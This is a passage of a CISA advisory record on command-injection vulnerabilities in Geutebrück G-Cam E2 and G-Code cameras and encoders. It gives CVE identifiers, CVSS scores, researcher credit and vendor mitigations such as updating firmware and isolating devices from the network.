code.\n\n[CVE-2021-33549](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33549>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.8 [IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN A COMMAND ('COMMAND INJECTION') CWE-77](<https://cwe.mitre.org/data/definitions/77.html>)\n\nThe affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33550](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33550>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.9 [IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN A COMMAND ('COMMAND INJECTION') CWE-77](<https://cwe.mitre.org/data/definitions/77.html>)\n\nThe affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33551](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33551>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.10 [IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN A COMMAND ('COMMAND INJECTION') CWE-77](<https://cwe.mitre.org/data/definitions/77.html>)\n\nThe affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33552](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33552>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.11 [IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN A COMMAND ('COMMAND INJECTION') CWE-77](<https://cwe.mitre.org/data/definitions/77.html>)\n\nThe affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33553](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33553>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n#### 3.2.12 [IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN A COMMAND ('COMMAND INJECTION') CWE-77](<https://cwe.mitre.org/data/definitions/77.html>)\n\nThe affected product is vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\n\n[CVE-2021-33554](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33554>) has been assigned to this vulnerability. A CVSS v3 base score of 7.2 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H>)).\n\n### 3.3 BACKGROUND\n\n * **CRITICAL INFRASTRUCTURE SECTORS:** Commercial Facilities, Energy, Financial Services, Government Facilities, Healthcare and Public Health, Transportation Systems\n * **COUNTRIES/AREAS DEPLOYED: **Worldwide\n * **COMPANY HEADQUARTERS LOCATION: **Germany\n\n### 3.4 RESEARCHER\n\nTitouan Lazard and Ibrahim Ayadhi from RandoriSec reported these vulnerabilities to CISA.\n\n## 4\\. MITIGATIONS\n\nGeutebr\u00fcck strongly recommends updating all affected cameras and encoders listed above to firmware Version 1.12.14.7 or later. The security advisory and the latest firmware can both be acquired on [Geutebr\u00fcck\u2019s web portal](<https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fportal.geutebrueck.com%2F&data=04%7C01%7Cpaul.lambert%40inl.gov%7Cf980cf8ed61e45ce028808d9505ef3d2%7C4cf464b7869a42368da2a98566485554%7C0%7C0%7C637629191029853114%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000&sdata=8UP9NuwqOke19wr7iDG2ZjnJt33fyYNXLb3FeAZCPJ0%3D&reserved=0>) (Login required).\n\nIf updates cannot be deployed, Geutebr\u00fcck recommends taking the following defensive measures to minimize the risk of exploitation of these vulnerabilities:\n\n * Change the default passwords of the cameras.\n * Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the Internet.\n * Locate control system networks and remote devices behind firewalls and isolate them from the business network.\n * When remote access is required, use secure methods, such as virtual private networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.\n * Ultimately shut down or disconnect the cameras from the network.\n\nCISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures. \n \nCISA also provides a section for [control systems security recommended practices](<https://us-cert.cisa.gov/ics/recommended-practices>) on the ICS webpage on [us-cert.cisa.gov](<https://us-cert.cisa.gov/ics>). Several recommended practices are available for reading and download, including [Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies](<https://us-cert.cisa.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf>).\n\nAdditional mitigation guidance and recommended practices are publicly available on the [ICS webpage on us-cert.cisa.gov](<https://us-cert.cisa.gov/ics>) in the Technical Information Paper, [ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies](<https://us-cert.cisa.gov/ics/tips/ICS-TIP-12-146-01B>). \n \nOrganizations observing any suspected malicious activity should follow their established internal procedures and report their findings to CISA for tracking and correlation against other incidents.\n\n## \nContact Information\n\nFor any questions related to this report, please contact the CISA at: \n \nEmail: [CISAservicedesk@cisa.dhs.gov](<mailto:cisaservicedesk@cisa.dhs.gov>) \nToll Free: 1-888-282-0870\n\nFor industrial control systems cybersecurity information: https://us-cert.cisa.gov/ics \nor incident reporting: https://us-cert.cisa.gov/report\n\nCISA continuously strives to improve its products and services. You can help by choosing one of the links below to provide feedback about this product.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-07-27T00:00:00", "type": "ics", "title": "Geutebr\u00fcck G-Cam E2 and G-Code", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-33543", "CVE-2021-33544", "CVE-2021-33545", "CVE-2021-33546", "CVE-2021-33547", "CVE-2021-33548", "CVE-2021-33549", "CVE-2021-33550", "CVE-2021-33551", "CVE-2021-33552", "CVE-2021-33553", "CVE-2021-33554"], "modified": "2021-07-27T00:00:00", "id": "ICSA-21-208-03", "href": "https://www.us-cert.gov/ics/advisories/icsa-21-208-03", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}]}